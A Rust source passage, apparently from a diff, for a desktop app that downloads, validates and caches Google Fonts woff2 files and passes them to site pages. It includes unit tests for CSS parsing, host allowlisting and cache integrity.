pub fn page_script_for(site: &SiteSpec, families: &[String]) -> Option<String> {
let mut seen = std::collections::HashSet::new();
let mut fonts = Vec::new();
for family in families {
if fonts.len() >= 8 || !seen.insert(family.clone()) {
continue;
}
if !gfonts::valid_family(family) {
continue;
}
if let Some(value) = faces_for(family) {
fonts.push(value);
}
}
gfonts::page_script(site, &fonts)
}
fn client() -> Result<&'static reqwest::Client, String> {
static CLIENT: OnceLock<reqwest::Client> = OnceLock::new();
if let Some(client) = CLIENT.get() {
return Ok(client);
}
if rustls::crypto::CryptoProvider::get_default().is_none() {
let _ = rustls::crypto::ring::default_provider().install_default();
}
let client = reqwest::Client::builder()
.user_agent(gfonts::USER_AGENT)
.redirect(reqwest::redirect::Policy::none())
.timeout(Duration::from_secs(30))
.build()
.map_err(|e| format!("NETWORK: {e}"))?;
Ok(CLIENT.get_or_init(|| client))
}
async fn read_limited(mut response: reqwest::Response, max: usize) -> Result<Vec<u8>, String> {
if response.content_length().is_some_and(|len| len as usize > max) {
return Err("NETWORK: response too large".into());
}
let mut bytes = Vec::new();
while let Some(chunk) = response.chunk().await.map_err(|e| format!("NETWORK: {e}"))? {
if bytes.len() + chunk.len() > max {
return Err("NETWORK: response too large".into());
}
bytes.extend_from_slice(&chunk);
}
Ok(bytes)
}
/// Fetches `url`, re-checking the css/file allowlist right before the request. A 400 means Google
/// didn't recognize the family/kit; any other non-200 is a plain network error.
async fn fetch(url: &Url, max: usize) -> Result<Vec<u8>, String> {
if !gfonts::allowed_css_url(url) && !gfonts::allowed_file_url(url) {
return Err("VALIDATION: URL not allowed".into());
}
let response = client()?.get(url.clone()).send().await.map_err(|e| format!("NETWORK: {e}"))?;
let status = response.status();
if status.as_u16() == 400 {
return Err("FONTS: unknown family".into());
}
if status.as_u16() != 200 {
return Err(format!("NETWORK: status {}", status.as_u16()));
}
read_limited(response, max).await
}
async fn download_faces(faces: Vec<Face>, per_file_max: usize, family_max: Option<usize>) -> Result<Vec<(Face, Vec<u8>)>, String> {
let mut out = Vec::with_capacity(faces.len());
let mut total = 0usize;
for face in faces {
let url = Url::parse(&face.url).map_err(|_| "VALIDATION: invalid face URL")?;
let bytes = fetch(&url, per_file_max).await?;
if !gfonts::is_woff2(&bytes) {
return Err("FONTS: invalid font file".into());
}
total += bytes.len();
if let Some(max) = family_max {
if total > max {
return Err("FONTS: family too large".into());
}
}
out.push((face, bytes));
}
Ok(out)
}
#[derive(Serialize)]
#[serde(rename_all = "camelCase")]
pub struct InstalledFont {
family: String,
weights: Weights,
bytes: usize,
faces: usize,
installed_at: String,
}
impl From<gfonts::Manifest> for InstalledFont {
fn from(m: gfonts::Manifest) -> Self {
InstalledFont { family: m.family, weights: m.weights, bytes: m.bytes, faces: m.faces.len(), installed_at: m.installed_at }
}
}
/// The installed families.
pub fn installed() -> Result<Vec<InstalledFont>, String> {
let root = root_or_err()?;
Ok(gfonts::list_installed(root).into_iter().map(InstalledFont::from).collect())
}
/// Downloads and caches `family` in `weights` (replacing an installed copy). The caller re-sends
/// fonts to its tabs afterwards.
pub async fn install(family: String, weights: Weights) -> Result<InstalledFont, String> {
if !gfonts::valid_family(&family) {
return Err("VALIDATION: invalid family name".into());
}
weights.validate()?;
let root = root_or_err()?;
let already_installed = gfonts::read_manifest(root, &family).is_some();
let installed = gfonts::list_installed(root);
if !already_installed && installed.len() >= gfonts::MAX_FAMILIES {
return Err("FONTS: too many installed families".into());
}
let current_bytes: usize = installed.iter().filter(|m| m.family != family).map(|m| m.bytes).sum();
let css_url = gfonts::css_url(&family, &weights, None)?;
let css_bytes = fetch(&css_url, gfonts::MAX_CSS_BYTES).await?;
let css = String::from_utf8(css_bytes).map_err(|_| "FONTS: invalid CSS response")?;
let faces = gfonts::select_faces(gfonts::parse_css(&css)?);
if faces.is_empty() {
return Err("FONTS: no usable font faces".into());
}
let remaining = gfonts::MAX_CACHE_BYTES.saturating_sub(current_bytes);
let downloaded = download_faces(faces, gfonts::MAX_FILE_BYTES, Some(remaining.min(gfonts::MAX_FAMILY_BYTES))).await?;
let installed_at = chrono::Utc::now().to_rfc3339();
let manifest = gfonts::write_family(root, &family, &weights, &downloaded, installed_at)?;
invalidate_caches();
Ok(InstalledFont::from(manifest))
}
/// Removes an installed family. The caller re-sends fonts to its tabs afterwards.
pub fn remove(family: &str) -> Result<(), String> {
let root = root_or_err()?;
gfonts::remove_family(root, family)?;
invalidate_caches();
Ok(())
}
/// An installed family's faces with their bytes (verified against the manifest).
pub fn faces(family: &str) -> Result<serde_json::Value, String> {
if !gfonts::valid_family(family) {
return Err("VALIDATION: invalid family name".into());
}
faces_for(family).ok_or_else(|| "FONTS: not installed".to_string())
}
fn preview_key(family: &str, weights: &Weights, text: &str) -> String {
format!("{family}|{}|{text}", weights.query())
}
/// A text-subset preview of a family that is not installed (cached, at most 6 fetches at once).
pub async fn preview(family: String, weights: Weights, text: String) -> Result<Vec<serde_json::Value>, String> {
let key = preview_key(&family, &weights, &text);
{
let mut guard = PREVIEWS.lock().unwrap_or_else(|e| e.into_inner());
if let Some(cached) = guard.get_or_insert_with(HashMap::new).get(&key) {
return Ok(cached.clone());
}
}
if PREVIEW_INFLIGHT.fetch_add(1, Ordering::SeqCst) >= MAX_PREVIEW_INFLIGHT {
PREVIEW_INFLIGHT.fetch_sub(1, Ordering::SeqCst);
return Err("FONTS: busy".into());
}
let result = preview_inner(&family, &weights, &text).await;
PREVIEW_INFLIGHT.fetch_sub(1, Ordering::SeqCst);
let faces = result?;
let mut guard = PREVIEWS.lock().unwrap_or_else(|e| e.into_inner());
let cache = guard.get_or_insert_with(HashMap::new);
if cache.len() >= MAX_PREVIEW_CACHE {
cache.clear();
}
cache.insert(key, faces.clone());
Ok(faces)
}
async fn preview_inner(family: &str, weights: &Weights, text: &str) -> Result<Vec<serde_json::Value>, String> {
let css_url = gfonts::css_url(family, weights, Some(text))?;
let css_bytes = fetch(&css_url, gfonts::MAX_CSS_BYTES).await?;
let css = String::from_utf8(css_bytes).map_err(|_| "FONTS: invalid CSS response")?;
let faces = gfonts::select_faces(gfonts::parse_css(&css)?);
if faces.is_empty() {
return Err("FONTS: no usable font faces".into());
}
let downloaded = download_faces(faces, gfonts::MAX_PREVIEW_BYTES, None).await?;
let encoder = base64::engine::general_purpose::STANDARD;
Ok(downloaded
.into_iter()
.map(|(face, bytes)| {
serde_json::json!({
"weight": [face.weight.0, face.weight.1],
"unicodeRange": face.unicode_range,
"data": encoder.encode(&bytes),
})
})
.collect())
}
#[cfg(test)]
mod tests {
use super::*;
use crate::site::testing::SITE;
#[test]
fn cache_serves_installed_families_to_the_page_and_forgets_removed_ones() {
let data = tempfile::tempdir().unwrap();
init(data.path());
let root = root().unwrap();
assert!(installed().unwrap().is_empty());
let mut bytes = vec![0u8; 100];
bytes[0..4].copy_from_slice(b"wOF2");
bytes[8..12].copy_from_slice(&100u32.to_be_bytes());
let face = Face { subset: Some("latin".into()), style: "normal".into(), weight: (400, 400), url: "https://fonts.gstatic.com/s/x.woff2".into(), unicode_range: None };
gfonts::write_family(root, "Lato", &Weights::List { values: vec![400] }, &[(face, bytes)], "2026-01-01T00:00:00Z".into()).unwrap();
assert_eq!(installed().unwrap().len(), 1);
assert_eq!(faces("Lato").unwrap()["family"], "Lato");
assert!(faces("../Lato").is_err());
let families = ["Lato".to_owned(), "Lato".to_owned(), "Missing".to_owned(), "bad/name".to_owned()];
let script = page_script_for(&SITE, &families).unwrap();
assert_eq!(script.matches("\"family\":\"Lato\"").count(), 1, "deduplicated, missing and invalid skipped");
remove("Lato").unwrap();
assert!(faces("Lato").is_err(), "the face cache is invalidated");
assert!(page_script_for(&SITE, &families).is_none());
}
}

View file

@ -0,0 +1,750 @@
//! Google Fonts, self-hosted: a site's CSP usually blocks remote `@font-face` fetches, so the app
//! downloads woff2 files natively (`fonts.googleapis.com`/`fonts.gstatic.com` only) and hands the
//! raw bytes to site pages as `FontFace(ArrayBuffer)`.
//!
//! Pure module (no network, no Tauri): CSS parsing, URL/byte validation, the on-disk cache format
//! and the page script. [`crate::fonts`] (`net` feature) downloads and caches with it.
use crate::site::SiteSpec;
use serde::{Deserialize, Serialize};
use sha2::{Digest, Sha256};
use std::path::{Path, PathBuf};
use url::Url;
pub const CSS_ORIGIN: &str = "https://fonts.googleapis.com";
pub const FILE_HOST: &str = "fonts.gstatic.com";
pub const MAX_CSS_BYTES: usize = 256 * 1024;
pub const MAX_FILE_BYTES: usize = 1_500_000;
pub const MAX_FAMILY_BYTES: usize = 4_000_000;
pub const MAX_CACHE_BYTES: usize = 80_000_000;
pub const MAX_FAMILIES: usize = 64;
pub const MAX_PREVIEW_TEXT: usize = 120;
pub const MAX_PREVIEW_BYTES: usize = 300_000;
pub const KEEP_SUBSETS: [&str; 2] = ["latin", "latin-ext"];
pub const FONTS_DIR: &str = "fonts";
pub const MANIFEST: &str = "manifest.json";
/// Google only serves woff2 to modern desktop browsers; a stale/unknown UA gets ttf/eot instead.
pub const USER_AGENT: &str =
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36";
/// Google family names: letters, digits and single interior spaces (`"Noto Sans JP"`, `"Lato"`).
pub fn valid_family(name: &str) -> bool {
if name.is_empty() || name.len() > 48 {
return false;
}
let bytes = name.as_bytes();
if bytes[0] == b' ' || bytes[bytes.len() - 1] == b' ' {
return false;
}
if name.contains(" ") {
return false;
}
bytes.iter().all(|b| b.is_ascii_alphanumeric() || *b == b' ')
}
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
#[serde(rename_all = "camelCase", tag = "kind")]
pub enum Weights {
Range { min: u16, max: u16 },
List { values: Vec<u16> },
}
impl Weights {
pub fn validate(&self) -> Result<(), String> {
match self {
Weights::Range { min, max } => {
if !(100..=1000).contains(min) || !(100..=1000).contains(max) || min > max {
return Err("VALIDATION: invalid weight range".into());
}
Ok(())
}
Weights::List { values } => {
if values.is_empty() || values.len() > 9 {
return Err("VALIDATION: 1-9 weights".into());
}
if !values.iter().all(|w| (100..=1000).contains(w)) {
return Err("VALIDATION: invalid weight".into());
}
let mut sorted = values.clone();
sorted.sort_unstable();
sorted.dedup();
if sorted.len() != values.len() {
return Err("VALIDATION: duplicate weight".into());
}
Ok(())
}
}
}
/// The css2 `wght@...` axis query, e.g. `"wght@100..900"` or `"wght@400;700"`.
pub fn query(&self) -> String {
match self {
Weights::Range { min, max } => format!("wght@{min}..{max}"),
Weights::List { values } => {
let mut sorted = values.clone();
sorted.sort_unstable();
let parts: Vec<String> = sorted.iter().map(|w| w.to_string()).collect();
format!("wght@{}", parts.join(";"))
}
}
}
}
/// Builds `https://fonts.googleapis.com/css2?family=<family>:<weights>&display=swap[&text=...]`.
pub fn css_url(family: &str, weights: &Weights, text: Option<&str>) -> Result<Url, String> {
if !valid_family(family) {
return Err("VALIDATION: invalid family name".into());
}
weights.validate()?;
if let Some(text) = text {
let chars = text.chars().count();
if chars == 0 || chars > MAX_PREVIEW_TEXT {
return Err("VALIDATION: preview text length".into());
}
if text.chars().any(|c| c.is_control()) {
return Err("VALIDATION: preview text contains control characters".into());
}
}
let mut url = Url::parse(&format!("{CSS_ORIGIN}/css2")).map_err(|_| "VALIDATION: unreachable")?;
{
let mut pairs = url.query_pairs_mut();
pairs.append_pair("family", &format!("{family}:{}", weights.query()));
pairs.append_pair("display", "swap");
if let Some(text) = text {
pairs.append_pair("text", text);
}
}
Ok(url)
}
/// `https://fonts.googleapis.com/css2?...` only, no userinfo, no explicit port.
pub fn allowed_css_url(u: &Url) -> bool {
u.scheme() == "https"
&& u.host_str() == Some("fonts.googleapis.com")
&& u.path() == "/css2"
&& u.username().is_empty()
&& u.password().is_none()
&& u.port().is_none()
}
/// `https://fonts.gstatic.com/s/...` (static) or `/l/font...` (`&text=` subset preview) only.
pub fn allowed_file_url(u: &Url) -> bool {
u.scheme() == "https"
&& u.host_str() == Some(FILE_HOST)
&& u.username().is_empty()
&& u.password().is_none()
&& u.port().is_none()
&& (u.path().starts_with("/s/") || u.path().starts_with("/l/font"))
}
#[derive(Clone, Debug, PartialEq)]
pub struct Face {
pub subset: Option<String>,
pub style: String,
pub weight: (u16, u16),
pub url: String,
pub unicode_range: Option<String>,
}
fn slice_between<'a>(text: &'a str, start: &str, terminators: &[char]) -> Option<&'a str> {
let idx = text.find(start)? + start.len();
let rest = &text[idx..];
let end = rest.find(|c| terminators.contains(&c)).unwrap_or(rest.len());
Some(rest[..end].trim())
}
/// Parses `font-weight: 400;` or `font-weight: 100 900;` into `(min, max)`.
fn parse_weight(value: &str) -> Option<(u16, u16)> {
let mut parts = value.split_whitespace();
let a: u16 = parts.next()?.parse().ok()?;
let b: u16 = match parts.next() {
Some(s) => s.parse().ok()?,
None => a,
};
if parts.next().is_some() {
return None;
}
if !(1..=1000).contains(&a) || !(1..=1000).contains(&b) {
return None;
}
Some((a.min(b), a.max(b)))
}
/// Extracts the first `url(...) format('woff2')` from a `src:` declaration value.
fn woff2_url(src: &str) -> Option<String> {
let mut rest = src;
loop {
let url_idx = rest.find("url(")?;
let after_url = &rest[url_idx + 4..];
let close = after_url.find(')')?;
let raw = after_url[..close].trim();
let raw = raw.trim_matches(|c| c == '\'' || c == '"');
let after_close = &after_url[close + 1..];
let format_ok = after_close
.find("format(")
.map(|fi| {
let fafter = &after_close[fi + 7..];
let fclose = fafter.find(')').unwrap_or(0);
let fmt = fafter[..fclose].trim().trim_matches(|c| c == '\'' || c == '"');
fmt.eq_ignore_ascii_case("woff2")
})
.unwrap_or(false);
// Stop scanning this declaration once we pass the next comma boundary (a src: list entry).
let boundary = after_close.find(',').unwrap_or(after_close.len());
if format_ok {
return Some(raw.to_string());
}
rest = &after_close[boundary..];
if !rest.contains("url(") {
return None;
}
}
}
/// Hand-written `@font-face` block parser (no regex crate): tracks the `/* subset */` comment
/// that precedes each block, and pulls `font-style`, `font-weight`, `src` (woff2 only) and
/// `unicode-range` out of it.
pub fn parse_css(css: &str) -> Result<Vec<Face>, String> {
let trimmed = css.trim_start();
if trimmed.starts_with('<') {
return Err("FONTS: unknown family".into());
}
let mut faces = Vec::new();
let mut pos = 0usize;
let mut pending_subset: Option<String> = None;
while let Some(rel) = {
let comment_rel = css[pos..].find("/*");
let face_rel = css[pos..].find("@font-face");
match (comment_rel, face_rel) {
(Some(c), Some(f)) => Some(c.min(f)),
(Some(c), None) => Some(c),
(None, Some(f)) => Some(f),
(None, None) => None,
}
} {
let abs = pos + rel;
if css[abs..].starts_with("/*") {
let after = abs + 2;
let Some(end_rel) = css[after..].find("*/") else { break };
let comment = css[after..after + end_rel].trim();
if !comment.is_empty() && comment.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'-') {
pending_subset = Some(comment.to_string());
}
pos = after + end_rel + 2;
continue;
}
// "@font-face"
let Some(brace_rel) = css[abs..].find('{') else { break };
let brace_abs = abs + brace_rel;
let Some(close_rel) = css[brace_abs..].find('}') else { break };
let block = &css[brace_abs + 1..brace_abs + close_rel];
pos = brace_abs + close_rel + 1;
let style = slice_between(block, "font-style:", &[';']).unwrap_or("normal").to_string();
let weight_raw = slice_between(block, "font-weight:", &[';']);
let src_raw = slice_between(block, "src:", &[';']);
let unicode_range = slice_between(block, "unicode-range:", &[';']).map(|s| s.to_string());
let (Some(weight_raw), Some(src_raw)) = (weight_raw, src_raw) else {
pending_subset = None;
continue;
};
let Some(weight) = parse_weight(weight_raw) else {
pending_subset = None;
continue;
};
let Some(url_str) = woff2_url(src_raw) else {
pending_subset = None;
continue;
};
let Ok(parsed_url) = Url::parse(&url_str) else {
pending_subset = None;
continue;
};
if !allowed_file_url(&parsed_url) {
pending_subset = None;
continue;
}
faces.push(Face { subset: pending_subset.take(), style, weight, url: url_str, unicode_range });
}
if faces.is_empty() {
return Err("FONTS: no usable font faces".into());
}
Ok(faces)
}
/// Keeps normal-style faces; if any carry a subset label, keeps only `latin`/`latin-ext`
/// (unlabeled faces, e.g. a `&text=` preview, are all kept). Capped at 24 faces.
pub fn select_faces(faces: Vec<Face>) -> Vec<Face> {
let normal: Vec<Face> = faces.into_iter().filter(|f| f.style == "normal").collect();
let has_labels = normal.iter().any(|f| f.subset.is_some());
let mut kept: Vec<Face> = if has_labels {
normal.into_iter().filter(|f| f.subset.as_deref().is_some_and(|s| KEEP_SUBSETS.contains(&s))).collect()
} else {
normal
};
kept.truncate(24);
kept
}
/// WOFF2 header: signature(4) flavor(4) length(4) numTables(2) reserved(2) totalSfntSize(4)
/// totalCompressedSize(4) majorVersion(2) minorVersion(2) metaOffset(4) metaLength(4)
/// metaOrigLength(4) privOffset(4) privLength(4) = 48 bytes.
pub fn is_woff2(bytes: &[u8]) -> bool {
if bytes.len() < 48 || &bytes[0..4] != b"wOF2" {
return false;
}
let length = u32::from_be_bytes([bytes[8], bytes[9], bytes[10], bytes[11]]) as usize;
length == bytes.len()
}
pub fn slug(family: &str) -> String {
family.to_lowercase().replace(' ', "-")
}
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
#[serde(rename_all = "camelCase", deny_unknown_fields)]
pub struct CachedFace {
/// `"0.woff2"`, `"1.woff2"`, ...
pub file: String,
pub weight: [u16; 2],
pub unicode_range: Option<String>,
pub subset: Option<String>,
pub bytes: usize,
/// Lowercase hex.
pub sha256: String,
}
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
#[serde(rename_all = "camelCase", deny_unknown_fields)]
pub struct Manifest {
pub family: String,
pub weights: Weights,
pub faces: Vec<CachedFace>,
pub bytes: usize,
/// RFC3339.
pub installed_at: String,
pub source: String,
}
fn valid_face_file(file: &str) -> Option<usize> {
let n = file.strip_suffix(".woff2")?;
if n.is_empty() || !n.bytes().all(|b| b.is_ascii_digit()) || (n.len() > 1 && n.starts_with('0')) {
return None;
}
let n: usize = n.parse().ok()?;
if n >= 24 {
return None;
}
Some(n)
}
impl Manifest {
pub fn validate(&self) -> Result<(), String> {
if !valid_family(&self.family) {
return Err("VALIDATION: invalid family name".into());
}
self.weights.validate()?;
if self.faces.is_empty() || self.faces.len() > 24 {
return Err("VALIDATION: invalid face count".into());
}
let mut total = 0usize;
for face in &self.faces {
if valid_face_file(&face.file).is_none() {
return Err("VALIDATION: invalid cached face file name".into());
}
if face.sha256.len() != 64 || !face.sha256.bytes().all(|b| b.is_ascii_hexdigit()) {
return Err("VALIDATION: invalid sha256".into());
}
if face.weight[0] > face.weight[1] || face.weight[0] < 1 || face.weight[1] > 1000 {
return Err("VALIDATION: invalid cached face weight".into());
}
total += face.bytes;
}
if total != self.bytes || total > MAX_FAMILY_BYTES {
return Err("VALIDATION: family size mismatch".into());
}
Ok(())
}
}
fn sha256_hex(bytes: &[u8]) -> String {
let mut hasher = Sha256::new();
hasher.update(bytes);
hasher.finalize().iter().map(|b| format!("{b:02x}")).collect()
}
/// Reads and verifies every cached face file under `dir` against `manifest`; returns their bytes
/// in manifest order. Any size/hash/magic mismatch is treated as a damaged cache, not a partial one.
pub fn verify_cached(dir: &Path, manifest: &Manifest) -> Result<Vec<Vec<u8>>, String> {
manifest.validate()?;
let mut out = Vec::with_capacity(manifest.faces.len());
for face in &manifest.faces {
let bytes = std::fs::read(dir.join(&face.file)).map_err(|_| "FONTS: cache damaged")?;
if bytes.len() != face.bytes || !is_woff2(&bytes) || sha256_hex(&bytes) != face.sha256 {
return Err("FONTS: cache damaged".into());
}
out.push(bytes);
}
Ok(out)
}
/// `fonts_root/<slug(family)>`, or `None` when `family` is not a valid Google Fonts name.
pub fn family_dir(fonts_root: &Path, family: &str) -> Option<PathBuf> {
if !valid_family(family) {
return None;
}
Some(fonts_root.join(slug(family)))
}
pub fn read_manifest(fonts_root: &Path, family: &str) -> Option<Manifest> {
let dir = family_dir(fonts_root, family)?;
let text = std::fs::read_to_string(dir.join(MANIFEST)).ok()?;
let manifest: Manifest = serde_json::from_str(&text).ok()?;
manifest.validate().ok()?;
if manifest.family != family {
return None;
}
Some(manifest)
}
pub fn list_installed(fonts_root: &Path) -> Vec<Manifest> {
let Ok(entries) = std::fs::read_dir(fonts_root) else { return Vec::new() };
let mut out = Vec::new();
for entry in entries.flatten() {
if out.len() >= MAX_FAMILIES {
break;
}
let Ok(file_type) = entry.file_type() else { continue };
if !file_type.is_dir() {
continue;
}
let text = std::fs::read_to_string(entry.path().join(MANIFEST)).ok();
let Some(text) = text else { continue };
let Ok(manifest) = serde_json::from_str::<Manifest>(&text) else { continue };
if manifest.validate().is_err() {
continue;
}
out.push(manifest);
}
out
}
pub fn cache_bytes(fonts_root: &Path) -> usize {
list_installed(fonts_root).iter().map(|m| m.bytes).sum()
}
/// Validates every buffer, writes them into a fresh temp sibling directory, then swaps it in for
/// the family directory (best-effort atomic: remove old, rename temp into place).
pub fn write_family(
fonts_root: &Path,
family: &str,
weights: &Weights,
faces: &[(Face, Vec<u8>)],
installed_at: String,
) -> Result<Manifest, String> {
if !valid_family(family) {
return Err("VALIDATION: invalid family name".into());
}
weights.validate()?;
if faces.is_empty() || faces.len() > 24 {
return Err("VALIDATION: invalid face count".into());
}
let mut total = 0usize;
for (_, bytes) in faces {
if bytes.len() > MAX_FILE_BYTES || !is_woff2(bytes) {
return Err("FONTS: invalid font file".into());
}
total += bytes.len();
}
if total > MAX_FAMILY_BYTES {
return Err("FONTS: family too large".into());
}
let final_dir = family_dir(fonts_root, family).ok_or("VALIDATION: invalid family name")?;
let unique = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_nanos())
.unwrap_or(0);
let tmp_dir = fonts_root.join(format!(".tmp-{}-{}-{unique}", slug(family), std::process::id()));
std::fs::create_dir_all(&tmp_dir).map_err(|error| format!("STORAGE: {error}"))?;
let mut cached_faces = Vec::with_capacity(faces.len());
for (index, (face, bytes)) in faces.iter().enumerate() {
let file = format!("{index}.woff2");
std::fs::write(tmp_dir.join(&file), bytes).map_err(|error| format!("STORAGE: {error}"))?;
cached_faces.push(CachedFace {
file,
weight: [face.weight.0, face.weight.1],
unicode_range: face.unicode_range.clone(),
subset: face.subset.clone(),
bytes: bytes.len(),
sha256: sha256_hex(bytes),
});
}
let manifest = Manifest {
family: family.to_string(),
weights: weights.clone(),
faces: cached_faces,
bytes: total,
installed_at,
source: "google".into(),
};
manifest.validate()?;
let json = serde_json::to_string_pretty(&manifest).map_err(|_| "STORAGE: serialization failed")?;
std::fs::write(tmp_dir.join(MANIFEST), json).map_err(|error| format!("STORAGE: {error}"))?;
if final_dir.exists() {
std::fs::remove_dir_all(&final_dir).map_err(|error| format!("STORAGE: {error}"))?;
}
std::fs::rename(&tmp_dir, &final_dir).map_err(|error| format!("STORAGE: {error}"))?;
Ok(manifest)
}
pub fn remove_family(fonts_root: &Path, family: &str) -> Result<(), String> {
let dir = family_dir(fonts_root, family).ok_or("VALIDATION: invalid family name")?;
if dir.exists() {
std::fs::remove_dir_all(&dir).map_err(|error| format!("STORAGE: {error}"))?;
}
Ok(())
}
/// `{ "family": ..., "faces": [ { "weight": [min,max], "unicodeRange": ..., "data": "<base64>" } ] }`
pub fn faces_json(manifest: &Manifest, bytes: &[Vec<u8>]) -> serde_json::Value {
use base64::Engine;
let faces: Vec<serde_json::Value> = manifest
.faces
.iter()
.zip(bytes)
.map(|(face, data)| {
serde_json::json!({
"weight": face.weight,
"unicodeRange": face.unicode_range,
"data": base64::engine::general_purpose::STANDARD.encode(data),
})
})
.collect();
serde_json::json!({ "family": manifest.family, "faces": faces })
}
/// The script evaluated in every site tab so the page runtime (`window.<runtime_global>.fonts`) can
/// hand cached font bytes to `document.fonts` without the site's CSP ever seeing a remote font URL.
/// It does nothing outside the top frame on the site's primary origin.
pub fn page_script(site: &SiteSpec, fonts: &[serde_json::Value]) -> Option<String> {
if fonts.is_empty() {
return None;
}
let json = serde_json::to_string(fonts).ok()?;
let json = json.replace("</", "<\\/").replace('\u{2028}', "\\u2028").replace('\u{2029}', "\\u2029");
let (origin, global) = (site.primary_origin(), site.runtime_global);
Some(format!(
"(()=>{{if(window.top!==window||location.origin!=='{origin}')return;const f={json};const BT=window.{global};if(BT&&BT.fonts)BT.fonts.provide(f);else(window.__wbFonts=window.__wbFonts||[]).push(...f);}})();"
))
}
#[cfg(test)]
mod tests {
use super::*;
use crate::site::testing::SITE;
const INTER_CSS: &str = include_str!("../tests/fixtures/gfonts/inter.css");
const LATO_CSS: &str = include_str!("../tests/fixtures/gfonts/lato.css");
const LATO_TEXT_CSS: &str = include_str!("../tests/fixtures/gfonts/lato-text.css");
#[test]
fn parses_inter_variable_font() {
let faces = parse_css(INTER_CSS).unwrap();
assert_eq!(faces.len(), 7);
let subsets: Vec<&str> = faces.iter().map(|f| f.subset.as_deref().unwrap()).collect();
assert_eq!(subsets, ["cyrillic-ext", "cyrillic", "greek-ext", "greek", "vietnamese", "latin-ext", "latin"]);
assert!(faces.iter().all(|f| f.weight == (100, 900)));
assert!(faces.iter().all(|f| f.style == "normal"));
let selected = select_faces(faces);
assert_eq!(selected.len(), 2);
let mut subsets: Vec<&str> = selected.iter().map(|f| f.subset.as_deref().unwrap()).collect();
subsets.sort_unstable();
assert_eq!(subsets, ["latin", "latin-ext"]);
}
#[test]
fn parses_lato_static_weights() {
let faces = parse_css(LATO_CSS).unwrap();
assert_eq!(faces.len(), 4);
assert!(faces.iter().all(|f| f.weight == (400, 400) || f.weight == (700, 700)));
let selected = select_faces(faces);
assert_eq!(selected.len(), 4);
}
#[test]
fn parses_lato_text_preview_without_subset_labels() {
let faces = parse_css(LATO_TEXT_CSS).unwrap();
assert_eq!(faces.len(), 2);
assert!(faces.iter().all(|f| f.subset.is_none()));
assert!(faces.iter().all(|f| f.url.contains("/l/font")));
let selected = select_faces(faces);
assert_eq!(selected.len(), 2);
}
#[test]
fn html_response_is_unknown_family() {
let err = parse_css("<!DOCTYPE html><html></html>").unwrap_err();
assert_eq!(err, "FONTS: unknown family");
}
#[test]
fn empty_css_has_no_usable_faces() {
let err = parse_css("/* nothing here */").unwrap_err();
assert_eq!(err, "FONTS: no usable font faces");
}
#[test]
fn css_url_allowlist_rejects_bad_hosts_and_paths() {
assert!(allowed_css_url(&Url::parse("https://fonts.googleapis.com/css2?family=Lato").unwrap()));
assert!(!allowed_css_url(&Url::parse("http://fonts.googleapis.com/css2?family=Lato").unwrap()));
assert!(!allowed_css_url(&Url::parse("https://fonts.googleapis.com/css3?family=Lato").unwrap()));
assert!(!allowed_css_url(&Url::parse("https://evil.test/fonts.googleapis.com/css2").unwrap()));
assert!(!allowed_css_url(&Url::parse("https://user@fonts.googleapis.com/css2").unwrap()));
assert!(!allowed_css_url(&Url::parse("https://fonts.googleapis.com:8443/css2").unwrap()));
}
#[test]
fn file_url_allowlist_rejects_lookalike_hosts() {
assert!(allowed_file_url(&Url::parse("https://fonts.gstatic.com/s/lato/v25/x.woff2").unwrap()));
assert!(allowed_file_url(&Url::parse("https://fonts.gstatic.com/l/font?kit=abc").unwrap()));
assert!(!allowed_file_url(&Url::parse("https://fonts.gstatic.com.evil.test/s/lato/v25/x.woff2").unwrap()));
assert!(!allowed_file_url(&Url::parse("https://evil.test/fonts.gstatic.com/s/lato/v25/x.woff2").unwrap()));
assert!(!allowed_file_url(&Url::parse("http://fonts.gstatic.com/s/lato/v25/x.woff2").unwrap()));
assert!(!allowed_file_url(&Url::parse("https://fonts.gstatic.com/other/x.woff2").unwrap()));
}
#[test]
fn css_url_encoding_and_validation() {
let url = css_url("Noto Sans JP", &Weights::List { values: vec![700, 400] }, None).unwrap();
assert!(url.as_str().starts_with("https://fonts.googleapis.com/css2?"));
assert!(url.as_str().contains("family=Noto+Sans+JP%3Awght%40400%3B700") || url.query().unwrap().contains("family=Noto+Sans+JP:wght@400;700"));
assert!(url.query().unwrap().contains("display=swap"));
let with_text = css_url("Lato", &Weights::Range { min: 400, max: 700 }, Some("Hi")).unwrap();
assert!(with_text.query().unwrap().contains("text=Hi"));
assert!(css_url("../x", &Weights::Range { min: 400, max: 400 }, None).is_err());
assert!(css_url("a\u{0}", &Weights::Range { min: 400, max: 400 }, None).is_err());
assert!(css_url("", &Weights::Range { min: 400, max: 400 }, None).is_err());
assert!(css_url(&"a".repeat(49), &Weights::Range { min: 400, max: 400 }, None).is_err());
assert!(css_url("Lato", &Weights::Range { min: 50, max: 400 }, None).is_err());
assert!(css_url("Lato", &Weights::Range { min: 400, max: 400 }, Some(&"a".repeat(121))).is_err());
assert!(css_url("Lato", &Weights::Range { min: 400, max: 400 }, Some("")).is_err());
}
#[test]
fn is_woff2_checks_magic_and_length_field() {
let mut good = vec![0u8; 48];
good[0..4].copy_from_slice(b"wOF2");
good[8..12].copy_from_slice(&48u32.to_be_bytes());
assert!(is_woff2(&good));
let mut bad_magic = good.clone();
bad_magic[0..4].copy_from_slice(b"XXXX");
assert!(!is_woff2(&bad_magic));
let mut bad_length = good.clone();
bad_length[8..12].copy_from_slice(&999u32.to_be_bytes());
assert!(!is_woff2(&bad_length));
assert!(!is_woff2(&[0u8; 10]));
}
#[test]
fn write_family_read_manifest_verify_round_trip() {
let dir = tempfile::tempdir().unwrap();
let mut face_bytes = vec![0u8; 100];
face_bytes[0..4].copy_from_slice(b"wOF2");
face_bytes[8..12].copy_from_slice(&100u32.to_be_bytes());
let face = Face { subset: Some("latin".into()), style: "normal".into(), weight: (400, 400), url: "https://fonts.gstatic.com/s/x.woff2".into(), unicode_range: Some("U+00-FF".into()) };
let weights = Weights::List { values: vec![400] };
let manifest = write_family(dir.path(), "Lato", &weights, &[(face, face_bytes.clone())], "2026-01-01T00:00:00Z".into()).unwrap();
assert_eq!(manifest.bytes, 100);
let read = read_manifest(dir.path(), "Lato").unwrap();
